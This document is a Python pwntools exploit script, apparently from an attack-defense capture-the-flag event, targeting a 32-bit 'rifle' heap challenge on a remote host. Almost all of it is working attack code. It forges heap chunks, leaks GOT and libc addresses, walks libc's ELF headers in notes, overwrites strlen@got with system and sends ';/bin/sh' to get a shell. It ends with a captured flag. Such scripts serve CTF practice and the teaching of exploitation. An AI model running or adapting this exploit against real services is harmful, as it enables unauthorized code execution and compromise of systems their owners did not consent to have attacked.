#!/usr/bin/env python 

"""
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
"""
"""
add :
riflename can overlap topchunk size
rifledes  can fill out the heap body 
show :
next add is in the heap body
order :
free every heap
message :
fgets 128 


0x804a2a8 = ptr_message
0x804a258 = sscanf@got
0x804a250 = strlen@got
0x08048b42 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

"""

"""
1. double free ? 
leak 
make fake at message 
free message
change fd
get chunk which need
got hijack
"""



#
# Use the libc from Alivenote
#





from pwn import *
#context.log_level = 'debug'
import time 

r = remote('172.16.113.50', 12012)
#r = process('./bg')


def clear():
	data = ''
	data = r.recv(timeout=0.1)
	while 'Action' not in data:
		if data:
			print data
		r.sendline('a'*10)
		r.sendline('a'*10)
		r.sendline('a'*10)
		data = r.recvuntil('Action',timeout=0.1)
	
	data = r.recv(timeout=0.1)
	return

def my_recv(a):
	data = ''
	try:
		data = r.recvuntil(a,timeout = 0.1)
	except:
		pass
	count = 0
	
	while a not in data :
		if data :
			print data,'****'
		count += 1
		#if count % 100 == 0:
			#print count
		r.sendline('a'*10)
		r.sendline('a'*10)
		r.sendline('a'*10)
		data = r.recvuntil(a,timeout=0.1)
		
	return data

def addrifle(name, des, stage):
	r.sendline('1')
	time.sleep(0.1)
	r.sendline(name)
	time.sleep(0.1)
	r.sendline(des)
	time.sleep(0.1)

	
def order():
	r.sendline('3')

def msg(x):
	r.sendline('4')
	time.sleep(0.1)
	r.sendline(x)

def leakk(x,aa = 1):
	msg(p32(0) + p32(0x40) + p32(0)*13 + p32(x) )
	r.sendline('2')
	data = my_recv('Description:')
	data = my_recv('Description:')
	data = my_recv('Description:')
	data = my_recv(' ')
	
	data = my_recv('\n')[:-1][:4]
	if not aa:
		return u32(data.rjust(4,'\x00'))
	else:
		return data
def log(x):
	return
	with open('log.txt', 'a+') as f:
		f.write(x)

def leakk2(x):
	r.sendline('1')
	r.sendline('a')	
	r.sendline(p32(0x804a2a0))
	msg(p32(0) + p32(0x41) + p32(x) + p32(0)*14 + p32(0x41) + p32(0) ) 
	r.sendline('5')
	'''
	#r.recv()
	data = ''
	flag = False
	for i in range(100):
		r.sendline('a'*10)
	count = 1
	
	while flag == False:
		#data = r.recvuntil('Message: ')
		#data = r.recvuntil('\n')
		data = r.recv(timeout=0.1)
		if 'Message:' in data:
			flag = True
			break
		print '=-+'*20
		print data
		print '=-+'*20
		r.sendline('5')
		count += 1
		print count
		if count == 5:
			data = '\x00'
			break
	'''
	# if message to none it will not appear, so there is not always has "Message" in response
	data = my_recv('Orders: ')
	data = my_recv('=')

	order()
	
		
	if 'Message' in data:
		log( '\n\n**********************')
		log(data)
		data = data.split('Message: ')[1].split('\n')[0][:4]
		log( '\n-------------------------------\n')
		log( data.encode('hex') )
		log( '\n**************************\n'	)
		if data == '':
			data = '\x0a'
	else:
		data = '\x00'

	#print data,'leak2_here'
	r.recv(timeout=0.1)
	return  data

def findLibcBase(ptr):
   ptr &= 0xfffffffffffff000
   print hex(ptr)
   #a = raw_input()
   #a = int(a,16)
   #ptr = a
   while True:
   #while  "454c46" not in leak(ptr):
	try:
		x = leakk2(ptr)
	except:
		x = '\x00'
	if x == '\x7fELF':
		break
	print hex(ptr)
	ptr -= 0x1000
	#time.sleep(0.1)
   return ptr



# prepare a fake size
addrifle('a','b',stage=1)
for i in range(0x3f):
	order()
# initial
addrifle('a'*27 +p32(0x0804a2c8) , 'b', 2)

clear()
add_heap_1 = leakk(0x804a288,None)
print 'add_heap', hex(add_heap_1)
add_sscanf = leakk(0x804a258,None)
print '__isoc99_sscanf', hex(add_sscanf)
add_strlen  = leakk(0x804a244,None)
print 'malloc@got.plt', hex(add_strlen)

msg(p32(0) + p32(0x41) + p32(0)*15 + p32(0x41) ) 
#a = raw_input("as")
order()

msg(p32(0) + p32(0x41) + p32(0x804a29c) )

addrifle('a', 'b'*24+'\x41', 1)

addrifle('cccccccc', '\x40\x00\x00\x00'+p32(0x804a288), 2)
#a = raw_input('c')
msg(p32(0x804a2a8) + p32(0)*6  + p32(0x41) + p32(0x804a288) + p32(0)*14 + p32(0x41) ) 
order()

clear()
print 'lk2'
#print leakk2(0x804a258).encode('hex')
#print leakk2(0x804a244).encode('hex')


#aa = findLibcBase(add_sscanf)
#print 'libc_base:',hex(aa)


#d  = DynELF(leakk2, add_sscanf )
#print d.lookup(None, 'libc')
#print  d.lookup('system')


#r.interactive()

'''
a = raw_input('\n> ')
while a != 'end':
	try:
		b = int(a,16)
		b = leakk2(b)
		print '\n-------------'
		print b
		print '-------------'
		print hex(u32(b.ljust(4,'\x00')))
		print '------------'	
	except:
		continue
	a = raw_input('\n> ')

r.interactive()
'''

'''
1. find libcbase  = 0xf75bf000
++++++++++++++
__isoc99_sscanf 0xf7614be0
> 0xf75ed000
-------------
\x7fELF
-------------
7f454c46
------------

--> libcbase = sscanf&0xfffff000 - 0x55
++++++++++++++

2. find libc_phdr  = base + [base+0x1c]  = 0xf75ed034
offset = libcbase + 0x1c
> 0xf75ed01c
-------------
4
-------------
34
------------

3. find .Dynamic section 
parse the libc_phdr to find p_type = 2 and the p_vaddr is point to  offset of .Dynamic section

size = 0x20
struct  {
     Elf32_Word 	p_type
     Elf32_Off  	p_offset
+0x8 Elf32_Addr 	p_vaddr
     Elf32_Addr 	p_paddr
     Elf32_Word 	p_filesz
     Elf32_Word 	p_memsz
     Elf32_Word 	p_flags
     Elf32_Word 	p_align
} 

> 0xf75ed0b4   -> ptype  = 2
-------------
'\x02'
-------------
02
------------

> 0xf75ed0bc    -> offset = 0x1a6da8
-------------
\xa8m\x1a
-------------
a86d1a
------------

4. find DT_SYMTAB and DT_STRTAB in the .Dynamic section
The DYNAMIC Section contains an array of Elf32_Dyn/Elf64_Dyn structures

size = 0x8
typedef struct {
        Elf32_Sword d_tag;
   +0x4 union {
                Elf32_Word      d_val;
                Elf32_Addr      d_ptr;
                Elf32_Off       d_off;
        } d_un;
} Elf32_Dyn;

DT_STRTAB d_tag = 5 
DT_SYMTAB d_tag = 6 

sizw 0x10
typedef struct {
	Elf32_Word 	st_name 
+0x4	Elf32_Addr 	st_value 
	Elf32_Word 	st_size 
	unsigned char 	st_info 
	unsigned char 	st_other 
	Elf32_Section 	st_shndx
} Elf32_Sym;


The load address of the functions can be found in Elf32_Sym->st_value element. 
The Elf32_Sym->st_name element holds an offset in the DT_STRTAB which is where the string for the symbol in question is located

> 0xf7793de0
-------------
\x05
-------------
05
------------

> 0xf7793de4
-------------

-------------
38a45ff7
------------

---> DT_STRTAB = 0xf75fa438

???? always error here  --> cause program will do strlen() and replace the last bit if it is 0xa , so here always error with the place is not writeable
> 0xf7793de8
-------------
\x06
-------------
06
------------

'''


# set strlen.got to system.got   than  strlen(msg) ==  system(msg)
r.sendline('a'*10) # 

r.recv(timeout=0.1)

r.sendline('1')
r.sendline('a')	
time.sleep(0.1)
r.sendline(p32(0x804a250))

a = raw_input('xxxxx')    # add of system
a = int(a,16)
msg(p32(a)+';/bin/sh\x00')

c = raw_input('over')

r.interactive()

#AD{l0N9_l1ve_0f_7He_H0U5e_5P1R17}
